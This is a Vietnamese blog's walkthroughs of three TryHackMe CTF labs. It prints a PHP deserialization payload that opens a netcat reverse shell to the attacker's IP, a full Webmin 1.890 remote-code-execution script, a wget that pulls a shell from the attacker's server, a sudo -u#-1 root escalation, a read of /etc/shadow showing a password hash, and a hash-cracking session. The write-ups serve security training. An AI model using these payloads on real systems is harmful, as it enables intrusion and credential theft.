Tryhackme - StuxCTF

  1. Reconnaissance
  2. Privilege escalation
  3. Tổng kết

intro

Xin chào, Lẩu đây, dạo này bận quá nên bây giờ tôi mới quay lại làm CTF được. Hôm nay tôi sẽ trở lại với 1 CTF mức Easy Tryhackme - StuxCTF

Reconnaissance

Vẫn như thông thường, việc đầu tiên là quét các cổng đang mở trên máy chủ mục tiêu.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e8:da:b7:0d:a7:a1:cc:8e:ac:4b:19:6d:25:2b:3e:77 (RSA)
|   256 c1:0c:5a:db:6c:d6:a3:15:96:85:21:e9:48:65:28:42 (ECDSA)
|_  256 0f:1a:6a:d1:bb:cb:a6:3e:bd:8f:99:8d:da:2f:30:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/StuxCTF/
|_http-title: Default Page
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Thử vào web với port 80, không có gì ngoài 2 chữ is blank, nhưng khi tôi kiểm tra source web thì mới có vài thứ hay ho.

<html>
	<head>
		<title>Default Page</title>
	</head>
	<body>
		<!-- The secret directory is...
		p: 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251;
		g: 7;
		a: 330;
		b: 450;
		g^c: 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617;
		-->
		is blank....
	</body>
</html>

Có vẻ như đây là một dạng thuật toán nào đó, nhưng vì chưa có gợi ý nào nên tôi sẽ quay lại với nó sau.

Tiếp theo thì vào /robots.txt

robots.txt

Khi truy cập thử vào /StuxCTF/ thì web báo không tìm thấy path này. Dừng khoảng chừng là 2s thì tôi để ý thấy *Diffie_Hellman*, nghe giống 1 cái tên. Thử tìm kiếm nó trên mạng và hóa ra đây là tên 1 phương pháp trao đổi khóa, nó ở đây

Sau khoảng vài tiếng thông não thuật toán và thêm phần hint trong CTF thì tôi cũng tìm tính được ra khóa đặc biệt cuối cùng. Cũng ở trong phần hint, độ dài của directory là 128 ký tự đầu nên khi in ra màn hình tôi sẽ chuyển kết quả về dạng string và chỉ lấy 128 ký tự đầu. Sử dụng python thì nó sẽ như thế này:

p = 9975298661930085086019708402870402191114171745913160469454315876556947370642799226714405016920875594030192024506376929926694545081888689821796050434591251
g = 7
a = 330
b = 450
gc = 6091917800833598741530924081762225477418277010142022622731688158297759621329407070985497917078988781448889947074350694220209769840915705739528359582454617

gca = (gc**a) % p
gcab = (gca**b) % p

print (str(gcab)[:128])

Truy cập web với path là kết quả vừa tìm được.

stuxctf

Lại thử kiểm tra source web xem có hint nào nữa không

source

<!-- hint: /?file= -->

Với hint này thì khả năng cao là PHP LFI exploit. Tôi sẽ dùng BurpSuite để sửa request dễ hơn. Sau 1 lúc thử các kiểu LFI đều không có kết quả, tôi nhận ra mình đã hiểu sai hint này. Với PHP LFI tôi phải để index.php ở đầu và sau đó là /?file=, nhưng thực ra trong hint không đề cập đến index.php nên path sẽ chỉ có /?file= và tên file đằng sau

index.php

Sao chép đoạn hex này vào CyberChef và tôi có 1 đoạn mã trông giống base64 nhưng bị đảo ngược vì dấu = xuất hiện ở đầu đoạn mã chứ không phải phần đuôi như thông thường.

Sau khi dịch ngược đoạn base64 và giải mã thì tôi sẽ có source của index.php

<br />
error_reporting(0);<br />
class file {<br />
        public $file = "dump.txt";<br />
        public $data = "dump test";<br />
        function __destruct(){<br />
                file_put_contents($this->file, $this->data);<br />
        }<br />
}<br />
<br />
<br />
$file_name = $_GET['file'];<br />
if(isset($file_name) && !file_exists($file_name)){<br />
        echo "File no Exist!";<br />
}<br />
<br />
if($file_name=="index.php"){<br />
        $content = file_get_contents($file_name);<br />
        $tags = array("", "");<br />
        echo bin2hex(strrev(base64_encode(nl2br(str_replace($tags, "", $content)))));<br />
}<br />
unserialize(file_get_contents($file_name));<br />
<br />
<!DOCTYPE html><br />
    <head><br />
        <title>StuxCTF</title><br />
	<meta charset="UTF-8"><br />
        <meta name="viewport" content="width=device-width, initial-scale=1"><br />
        <link rel="stylesheet" href="assets/css/bootstrap.min.css" /><br />
        <link rel="stylesheet" href="assets/css/style.css" /><br />
    </head><br />
        <body><br />
        <nav class="navbar navbar-default navbar-fixed-top"><br />
          <div class="container"><br />
            <div class="navbar-header"><br />
              <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"><br />
                <span class="sr-only">Toggle navigation</span><br />
              </button><br />
              <a class="navbar-brand" href="index.php">Home</a><br />
            </div><br />
          </div><br />
        </nav><br />
        <!-- hint: /?file= --><br />
        <div class="container"><br />
            <div class="jumbotron"><br />
				<center><br />
					<h1>Follow the white rabbit..</h1><br />
				</center><br />
            </div><br />
        </div>            <br />
        <script src="assets/js/jquery-1.11.3.min.js"></script><br />
        <script src="assets/js/bootstrap.min.js"></script><br />
    </body><br />
</html><br />

Lướt qua source này, tôi để ý có 1 function có thể khai thác được, đó là unserialize. Lỗi này liên quan đến dữ liệu đầu vào mà người dùng nhập không được kiểm duyệt trước khi đến hàm unserialize từ đó có thể cho phép thực hiện RCE

Đọc thêm: PHP Object Injection

Đầu tiên, tôi tạo 1 file php với nội dung dùng để tạo 1 file php khác có chứa payload. Sau đó dùng php để chuyển nó thành file txt. Sau khi tải file text này lên web server, đi qua hàm unserialize, nó sẽ phân giải nội dung thành file php và thực thi câu lệnh bên trong file đó. Theo tôi hiểu thì là như vậy :anguished: Hi vọng tôi không hiểu sai.

File php được tạo sẽ trong như thế này

<?php
class file
{
        public $file = 'test.php';
        public $data = '<?php shell_exec("nc -e /bin/bash 10.18.3.74 9001"); ?>';
}
echo (serialize(new file));

?>

Sau đó sử dụng php để chuyển file này thành text

┌──(neokali)-[~]
└─$ php serialize.php > test.txt

┌──(neokali)-[~]
└─$ cat test.txt                
O:4:"file":2:{s:4:"file";s:11:"test.php";s:4:"data";s:55:"<?php shell_exec("nc -e /bin/bash 10.18.3.74 9001"); ?>";} 

Tiếp theo tạo local http server bằng python

┌──(neokali)-[~]
└─$ python -m http.server                                                                               
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Sau đó thực hiện request lấy file test.txt về server. Tôi dùng BurpSuite

get file

Tuy web hiện File no Exist! nhưng khi kiểm tra lại http server thì tôi thấy file đã được tải lên

┌──(neokali)-[~]
└─$ python -m http.server                                                                               
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.249.167 - - [22/Sep/2022 23:03:57] "GET /test.txt HTTP/1.0" 200 -

Tạo listener với port 9001 nc -lnvp 9001

Thử truy cập vào file test.php

┌──(neokali)-[~]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.18.3.74] from (UNKNOWN) [10.10.107.75] 44226
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

config lại shell với python

python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu:/$ export TERM=xterm
www-data@ubuntu:/$ 

Và sau đó tôi tìm thấy user flag trong thư mục user grecia

www-data@ubuntu:/$ ls /home
grecia
www-data@ubuntu:/$ ls /home/grecia/
user.txt

Privilege escalation

Vì không có manh mối nào để tìm ra password của user grecia nên tôi sẽ thử tìm các file chạy dưới quyền root

www-data@ubuntu:/$ find / -type f -perm -u=s 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/vmware-user-suid-wrapper
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/bin/ping
/bin/umount
/bin/ping6
/bin/fusermount
/bin/mount
/bin/su
www-data@ubuntu:/$

Không có gì đặc biệt lắm. Tôi thử kiểm tra phiên bản sudo

www-data@ubuntu:/$ sudo -V
Sudo version 1.8.16
Sudoers policy plugin version 1.8.16
Sudoers file grammar version 45
Sudoers I/O plugin version 1.8.16
www-data@ubuntu:/$

Phiên bản này có dính lỗi Security Bypass

www-data@ubuntu:/$ sudo -u#-1 /bin/bash
root@ubuntu:/# id
uid=0(root) gid=33(www-data) groups=33(www-data)
root@ubuntu:/# ls /root
root.txt
root@ubuntu:/# 

Tổng kết

Qua bài này, tôi biết thêm về một phương pháp trao đổi khóa, tuy nó đã lỗi thời và có thể giải được bởi những người nghe lén, nhưng nó vẫn được phát triển và có nhiều biến thể an toàn hơn trong truyền thông tin. Ngoài ra, tôi cũng biết thêm một lỗ hổng của PHP với hàm unserialize, lợi dụng thiết lập đầu vào không an toàn để thực thi RCE.

Tryhackme - Source

  1. Reconnaissance

intro

Xin chào, Lẩu đây. Hôm nay tôi sẽ giải CTF Tryhackme - Source

Reconnaissance

Việc đầu tiên cần làm là quét cổng đang mở trên máy chủ mục tiêu

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b7:4c:d0:bd:e2:7b:1b:15:72:27:64:56:29:15:ea:23 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbZAxRhWUij6g6MP11OkGSk7vYHRNyQcTIdMmjj1kSvDhyuXS9QbM5t2qe3UMblyLaObwKJDN++KWfzl1+beOrq3sXkTA4Wot1RyYo0hPdQT0GWBTs63dll2+c4yv3nDiYAwtSsPLCeynPEmSUGDjkVnP12gxXe/qCsM2+rZ9tzXtSWiXgWvaxMZiHaQpT1KaY0z6ebzBTI8siU0t+6SMK7rNv1CsUNpGeicfbC5ZOE4/Nbc8cxNl7gDtZbyjdh9S7KTvzkSj2zBJ+8VbzsuZk1yy8uyLDgmuBQ6LzbYUNHkTQhJetVq7utFpRqLdpSJTcsz5PAxd1Upe9DqoYURuL
|   256 b7:85:23:11:4f:44:fa:22:00:8e:40:77:5e:cf:28:7c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEYCha8jk+VzcJRRwV41rl8EuJBiy7Cf8xg6tX41bZv0huZdCcCTCq9dLJlzO2V9s+sMp92TpzR5j8NAAuJt0DA=
|   256 a9:fe:4b:82:bf:89:34:59:36:5b:ec:da:c2:d3:95:ce (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOJnY5oycmgw6ND6Mw4y0YQWZiHoKhePo4bylKKCP0E5
10000/tcp open  http    syn-ack MiniServ 1.890 (Webmin httpd)
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
|_http-favicon: Unknown favicon MD5: E9CE0E6E52BEA337BC56F2FD6BF4C996
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Với port 10000 tôi có web server với giao diện Webmin. Tôi thử tìm exploit với webmin

┌──(neokali)-[~]
└─$ searchsploit webmin          
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                             |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
DansGuardian Webmin Module 0.x - 'edit.cgi' Directory Traversal                                                                                            | cgi/webapps/23535.txt
phpMyWebmin 1.0 - 'target' Remote File Inclusion                                                                                                           | php/webapps/2462.txt
phpMyWebmin 1.0 - 'window.php' Remote File Inclusion                                                                                                       | php/webapps/2451.txt
Webmin - Brute Force / Command Execution                                                                                                                   | multiple/remote/705.pl
webmin 0.91 - Directory Traversal                                                                                                                          | cgi/remote/21183.txt
Webmin 0.9x / Usermin 0.9x/1.0 - Access Session ID Spoofing                                                                                                | linux/remote/22275.pl
Webmin 0.x - 'RPC' Privilege Escalation                                                                                                                    | linux/remote/21765.pl
Webmin 0.x - Code Input Validation                                                                                                                         | linux/local/21348.txt
Webmin 1.5 - Brute Force / Command Execution                                                                                                               | multiple/remote/746.pl
Webmin 1.5 - Web Brute Force (CGI)                                                                                                                         | multiple/remote/745.pl
Webmin 1.580 - '/file/show.cgi' Remote Command Execution (Metasploit)                                                                                      | unix/remote/21851.rb
Webmin 1.850 - Multiple Vulnerabilities                                                                                                                    | cgi/webapps/42989.txt
Webmin 1.900 - Remote Command Execution (Metasploit)                                                                                                       | cgi/remote/46201.rb
Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit)                                                                                     | linux/remote/46984.rb
Webmin 1.920 - Remote Code Execution                                                                                                                       | linux/webapps/47293.sh
Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit)                                                                                          | linux/remote/47230.rb
Webmin 1.962 - 'Package Updates' Escape Bypass RCE (Metasploit)                                                                                            | linux/webapps/49318.rb
Webmin 1.973 - 'run.cgi' Cross-Site Request Forgery (CSRF)                                                                                                 | linux/webapps/50144.py
Webmin 1.973 - 'save_user.cgi' Cross-Site Request Forgery (CSRF)                                                                                           | linux/webapps/50126.py
Webmin 1.984 - Remote Code Execution (Authenticated)                                                                                                       | linux/webapps/50809.py
Webmin 1.996 - Remote Code Execution (RCE) (Authenticated)                                                                                                 | linux/webapps/50998.py
Webmin 1.x - HTML Email Command Execution                                                                                                                  | cgi/webapps/24574.txt
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure                                                                                               | multiple/remote/1997.php
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure                                                                                               | multiple/remote/2017.pl
Webmin < 1.920 - 'rpc.cgi' Remote Code Execution (Metasploit)                                                                                              | linux/webapps/47330.rb
----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Với version 1.890, tôi thấy có 1 lỗ hổng RCE có thể khai thác với Metasploit. Tuy nhiên sau 1 lúc kiểm tra thì tôi nhận ra các exploit này đều cần có username và password.

Dạo quanh Google 1 lúc tìm các exploit của Webmin 1.890 thì tôi tìm thấy 1 Poc unauthorizied RCE, nó ở đây, nó sẽ tạo lệnh curl chứa payload để server trả về command vừa nhập

#!/usr/bin/env python3
import os
import sys


STAIN = """

--------------------------------
   ______________    _____   __
  / ___/_  __/   |  /  _/ | / /
  \__ \ / / / /| |  / //  |/ / 
 ___/ // / / ___ |_/ // /|  /  
/____//_/ /_/  |_/___/_/ |_/   
                                       
--------------------------------

WebMin 1.890-expired-remote-root
"""
usage = """Usage: python3 exploit.py HOST PORT COMMAND

Ex: python3 exploit.py 10.0.0.1 10000 id
                                                                                                                                   
"""

def exploit(target, port, url, command):
    header = 'Referer: https://{}:{}/session_login.cgi'.format(target,port)
    payload = 'user=gotroot&pam=&expired=2|echo "";{}'.format(command)
    os.system("curl -k {} -d '{}' -H '{}'".format(url,payload,header))


if __name__ == '__main__':
    try:
        print(STAIN)
        target = sys.argv[1]
        port = sys.argv[2]
        url = "https://"+target+":"+port+"/password_change.cgi"
        command = sys.argv[3]
        exploit(target, port, url, command)
    except:
        print(STAIN)
        print(usage)

Clone nó về từ github và thử command id

┌──(neokali)-[~/WebMin-1.890-Exploit-unauthorized-RCE]
└─$ python webmin-1.890_exploit.py 10.10.171.241 10000 id


--------------------------------
   ______________    _____   __
  / ___/_  __/   |  /  _/ | / /
  \__ \ / / / /| |  / //  |/ / 
 ___/ // / / ___ |_/ // /|  /  
/____//_/ /_/  |_/___/_/ |_/   
                                       
--------------------------------

WebMin 1.890-expired-remote-root

<h1>Error - Perl execution failed</h1>
<p>Your password has expired, and a new one must be chosen.
uid=0(root) gid=0(root) groups=0(root)
</p>
curl: (56) OpenSSL SSL_read: error:0A000126:SSL routines::unexpected eof while reading, errno 0
                    
┌──(neokali)-[~/WebMin-1.890-Exploit-unauthorized-RCE]
└─$ 

Tạo local http server với python

┌──(neokali)-[~]
└─$ python -m http.server     
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Sau đó thử upload php shell lên server

┌──(neokali)-[~/WebMin-1.890-Exploit-unauthorized-RCE]
└─$ python webmin-1.890_exploit.py 10.10.171.241 10000 'wget http://10.18.3.74:8000/shell.php'


--------------------------------
   ______________    _____   __
  / ___/_  __/   |  /  _/ | / /
  \__ \ / / / /| |  / //  |/ / 
 ___/ // / / ___ |_/ // /|  /  
/____//_/ /_/  |_/___/_/ |_/   
                                       
--------------------------------

WebMin 1.890-expired-remote-root

<h1>Error - Perl execution failed</h1>
<p>Your password has expired, and a new one must be chosen.
</p>
curl: (56) OpenSSL SSL_read: error:0A000126:SSL routines::unexpected eof while reading, errno 0

Quay lại local http server để kiểm tra

┌──(neokali)-[~]
└─$ python -m http.server 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.171.241 - - [30/Aug/2022 05:12:22] "GET /shell.php HTTP/1.1" 200 -

Như vậy là tôi đã upload thành công. Tuy nhiên sau bao nỗ lực tôi cũng không thể lấy được rce Tuy nhiên thì với quyền root tôi cũng có toàn quyền để xem các thư mục

Trong thư mục home tôi tìm thấy user darkuser flag nằm trong thư mục của user này.

┌──(neokali)-[~/WebMin-1.890-Exploit-unauthorized-RCE]
└─$ python webmin-1.890_exploit.py 10.10.171.241 10000 'ls -la /home/dark'


--------------------------------
   ______________    _____   __
  / ___/_  __/   |  /  _/ | / /
  \__ \ / / / /| |  / //  |/ / 
 ___/ // / / ___ |_/ // /|  /  
/____//_/ /_/  |_/___/_/ |_/   
                                       
--------------------------------

WebMin 1.890-expired-remote-root

<h1>Error - Perl execution failed</h1>
<p>Your password has expired, and a new one must be chosen.
total 15228
drwxr-xr-x 5 dark dark     4096 Jun 26  2020 .
drwxr-xr-x 3 root root     4096 Jun 26  2020 ..
-rw------- 1 dark dark        7 Jun 26  2020 .bash_history
-rw-r--r-- 1 dark dark      220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 dark dark     3771 Apr  4  2018 .bashrc
drwx------ 2 dark dark     4096 Jun 26  2020 .cache
drwx------ 3 dark dark     4096 Jun 26  2020 .gnupg
drwxrwxr-x 3 dark dark     4096 Jun 26  2020 .local
-rw-r--r-- 1 dark dark      807 Apr  4  2018 .profile
-rw-r--r-- 1 dark dark        0 Jun 26  2020 .sudo_as_admin_successful
-rw-rw-r-- 1 dark dark       29 Jun 26  2020 user.txt
-rw-rw-r-- 1 dark dark 15550066 Jun 26  2020 webmin_1.890_all.deb
</p>
curl: (56) OpenSSL SSL_read: error:0A000126:SSL routines::unexpected eof while reading, errno 0

Còn root flag thì hiển nhiên là nằm trong thư mục root rồi, dùng lệnh cat để xem thôi.

Thêm 1 điều nữa, chính vì tôi là root nên tôi có thể xem được file shadow

┌──(neokali)-[~/WebMin-1.890-Exploit-unauthorized-RCE]
└─$ python webmin-1.890_exploit.py 10.10.171.241 10000 'cat /etc/shadow'   


--------------------------------
   ______________    _____   __
  / ___/_  __/   |  /  _/ | / /
  \__ \ / / / /| |  / //  |/ / 
 ___/ // / / ___ |_/ // /|  /  
/____//_/ /_/  |_/___/_/ |_/   
                                       
--------------------------------

WebMin 1.890-expired-remote-root

<h1>Error - Perl execution failed</h1>
<p>Your password has expired, and a new one must be chosen.
root:*:18295:0:99999:7:::
daemon:*:18295:0:99999:7:::
bin:*:18295:0:99999:7:::
sys:*:18295:0:99999:7:::
sync:*:18295:0:99999:7:::
games:*:18295:0:99999:7:::
man:*:18295:0:99999:7:::
lp:*:18295:0:99999:7:::
mail:*:18295:0:99999:7:::
news:*:18295:0:99999:7:::
uucp:*:18295:0:99999:7:::
proxy:*:18295:0:99999:7:::
www-data:*:18295:0:99999:7:::
backup:*:18295:0:99999:7:::
list:*:18295:0:99999:7:::
irc:*:18295:0:99999:7:::
gnats:*:18295:0:99999:7:::
nobody:*:18295:0:99999:7:::
systemd-network:*:18295:0:99999:7:::
systemd-resolve:*:18295:0:99999:7:::
syslog:*:18295:0:99999:7:::
messagebus:*:18295:0:99999:7:::
_apt:*:18295:0:99999:7:::
lxd:*:18295:0:99999:7:::
uuidd:*:18295:0:99999:7:::
dnsmasq:*:18295:0:99999:7:::
landscape:*:18295:0:99999:7:::
pollinate:*:18295:0:99999:7:::
sshd:*:18439:0:99999:7:::
dark:$6$in/.sNd9dVXME1Tc$9n0cOI6ZzYoYDvD.Zfopq4R4Q/sTDKG0j128H2oFZrctn7CnpZEJ3DQq0w4j9Ruq2osYTopTwx8xSaYnLKhK11:18439:0:99999:7:::
</p>
curl: (56) OpenSSL SSL_read: error:0A000126:SSL routines::unexpected eof while reading, errno 0

Và ở đây thì tôi có hash password của user dark, kết hợp file passwd để unshadow và cuối cùng dùng john để crack hash và tôi cũng sẽ có được password của user này và login bằng SSH.

Tryhackme - Anonforce

  1. Reconnaissance

intro

Xin chào, Lẩu đây. Hôm nay tôi sẽ giải CTF Tryhackme - Anonforce

Reconnaissance

Vẫn như thông thường, việc đầu tiên cần làm là quét các cổng đang mở

PORT   STATE SERVICE REASON  VERSION
21/tcp open  ftp     syn-ack vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.18.3.74
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x    2 0        0            4096 Aug 11  2019 bin
| drwxr-xr-x    3 0        0            4096 Aug 11  2019 boot
| drwxr-xr-x   17 0        0            3700 Aug 28 03:38 dev
| drwxr-xr-x   85 0        0            4096 Aug 13  2019 etc
| drwxr-xr-x    3 0        0            4096 Aug 11  2019 home
| lrwxrwxrwx    1 0        0              33 Aug 11  2019 initrd.img -> boot/initrd.img-4.4.0-157-generic
| lrwxrwxrwx    1 0        0              33 Aug 11  2019 initrd.img.old -> boot/initrd.img-4.4.0-142-generic
| drwxr-xr-x   19 0        0            4096 Aug 11  2019 lib
| drwxr-xr-x    2 0        0            4096 Aug 11  2019 lib64
| drwx------    2 0        0           16384 Aug 11  2019 lost+found
| drwxr-xr-x    4 0        0            4096 Aug 11  2019 media
| drwxr-xr-x    2 0        0            4096 Feb 26  2019 mnt
| drwxrwxrwx    2 1000     1000         4096 Aug 11  2019 notread [NSE: writeable]
| drwxr-xr-x    2 0        0            4096 Aug 11  2019 opt
| dr-xr-xr-x   94 0        0               0 Aug 28 03:38 proc
| drwx------    3 0        0            4096 Aug 11  2019 root
| drwxr-xr-x   18 0        0             540 Aug 28 03:38 run
| drwxr-xr-x    2 0        0           12288 Aug 11  2019 sbin
| drwxr-xr-x    3 0        0            4096 Aug 11  2019 srv
| dr-xr-xr-x   13 0        0               0 Aug 28 03:38 sys
| drwxrwxrwt    9 0        0            4096 Aug 28 03:38 tmp [NSE: writeable]
| drwxr-xr-x   10 0        0            4096 Aug 11  2019 usr
| drwxr-xr-x   11 0        0            4096 Aug 11  2019 var
| lrwxrwxrwx    1 0        0              30 Aug 11  2019 vmlinuz -> boot/vmlinuz-4.4.0-157-generic
|_lrwxrwxrwx    1 0        0              30 Aug 11  2019 vmlinuz.old -> boot/vmlinuz-4.4.0-142-generic
22/tcp open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8a:f9:48:3e:11:a1:aa:fc:b7:86:71:d0:2a:f6:24:e7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkGQ8G5TDLFJY+zMp5dEj6XUwoH7ojGBjGkOmAf6d9PuIsf4DPFJQmoCA/eiSZpIwfQ14hVhXJHTclmcCd+2OeriuLXq0fEn+aHTo5X82KADkJibmel86qS7ToCzcaROnUkJU17mY3MuyTbfxuqmSvTv/7NI0zRW+cJ+cqwmeSZyhLnOHZ9GT5Y3Lbpvt2w0ktQ128POyaO4GrGA0EERWstIxExpqLaLsqjQPE/hBnIgZXZjd6EL1gn1/CSQnJVdLesIWMcvT5qnm9dZn/ysvysdHHaHylCSKIx5Qu9LtsitssoglpDlhXu5kr2do6ncWMAdTW75asBh+VE+QVX3vV
|   256 73:5d:de:9a:88:6e:64:7a:e1:87:ec:65:ae:11:93:e3 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAq1VuleOFZpJb73D/25H1l0wp9Cs/SGwWIjwtGW0/2/20+xMsac5E8rACtXtLaAuL3Dk/IRSrORuEfU11R0H3A=
|   256 56:f9:9f:24:f1:52:fc:16:b7:7b:a3:e2:4f:17:b4:ea (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIiId/YCdJZgD4/DG314U2CpAu8Y13DAx7AQ+JX+3zVc
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Đăng nhập vào FTP với port 21

┌──(neokali)-[~]
└─$ ftp 10.10.219.60 
Connected to 10.10.219.60.
220 (vsFTPd 3.0.3)
Name (10.10.219.60:neo): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||55094|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Aug 11  2019 bin
drwxr-xr-x    3 0        0            4096 Aug 11  2019 boot
drwxr-xr-x   17 0        0            3700 Aug 28 03:38 dev
drwxr-xr-x   85 0        0            4096 Aug 13  2019 etc
drwxr-xr-x    3 0        0            4096 Aug 11  2019 home
lrwxrwxrwx    1 0        0              33 Aug 11  2019 initrd.img -> boot/initrd.img-4.4.0-157-generic
lrwxrwxrwx    1 0        0              33 Aug 11  2019 initrd.img.old -> boot/initrd.img-4.4.0-142-generic
drwxr-xr-x   19 0        0            4096 Aug 11  2019 lib
drwxr-xr-x    2 0        0            4096 Aug 11  2019 lib64
drwx------    2 0        0           16384 Aug 11  2019 lost+found
drwxr-xr-x    4 0        0            4096 Aug 11  2019 media
drwxr-xr-x    2 0        0            4096 Feb 26  2019 mnt
drwxrwxrwx    2 1000     1000         4096 Aug 11  2019 notread
drwxr-xr-x    2 0        0            4096 Aug 11  2019 opt
dr-xr-xr-x   92 0        0               0 Aug 28 03:38 proc
drwx------    3 0        0            4096 Aug 11  2019 root
drwxr-xr-x   18 0        0             540 Aug 28 03:38 run
drwxr-xr-x    2 0        0           12288 Aug 11  2019 sbin
drwxr-xr-x    3 0        0            4096 Aug 11  2019 srv
dr-xr-xr-x   13 0        0               0 Aug 28 03:38 sys
drwxrwxrwt    9 0        0            4096 Aug 28 03:38 tmp
drwxr-xr-x   10 0        0            4096 Aug 11  2019 usr
drwxr-xr-x   11 0        0            4096 Aug 11  2019 var
lrwxrwxrwx    1 0        0              30 Aug 11  2019 vmlinuz -> boot/vmlinuz-4.4.0-157-generic
lrwxrwxrwx    1 0        0              30 Aug 11  2019 vmlinuz.old -> boot/vmlinuz-4.4.0-142-generic
226 Directory send OK.
ftp> cd notread
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||48550|)
150 Here comes the directory listing.
-rwxrwxrwx    1 1000     1000          524 Aug 11  2019 backup.pgp
-rwxrwxrwx    1 1000     1000         3762 Aug 11  2019 private.asc
226 Directory send OK.
ftp> 

Trong ftp server tôi để ý thấy có 1 thư mục tên notread khá thú vị. Và bên trong nó có 1 file pgp và asc. Lấy 2 file này về và sử dụng gpg để giải mã nó

Đọc thêm: How to export and import keys with GPG

Tuy nhiên khi import key asc, tôi cần passphrase. Vậy là tạm thời chưa thể decrypt được file backup này. Tuy nhiên với ftp server này, tôi có thể truy cập toàn quyền các thư mục khác và có thể lấy chúng về local machine.

Vào thư mục home, trong đây có user melodias, trong user này tôi tìm được user flag.

ftp> cd /home
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||45519|)
150 Here comes the directory listing.
drwxr-xr-x    4 1000     1000         4096 Aug 11  2019 melodias
226 Directory send OK.
ftp> cd melodias
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||18796|)
150 Here comes the directory listing.
-rw-rw-r--    1 1000     1000           33 Aug 11  2019 user.txt
226 Directory send OK.
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||28508|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |************************************************************************************************************************************************|    33       27.19 KiB/s    00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.15 KiB/s)
ftp> 

Sau 1 thời gian khá dài và thử nhiều cách khác nhau và đều không có kết quả, tôi quay trở lại với 2 file pgp. Sử dụng john để crack nó

┌──(neokali)-[~]
└─$ gpg2john private.asc > pgp.hash

File private.asc
                                                                                   
┌──(neokali)-[~]
└─$ john pgp.hash --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
*******          (anonforce)     
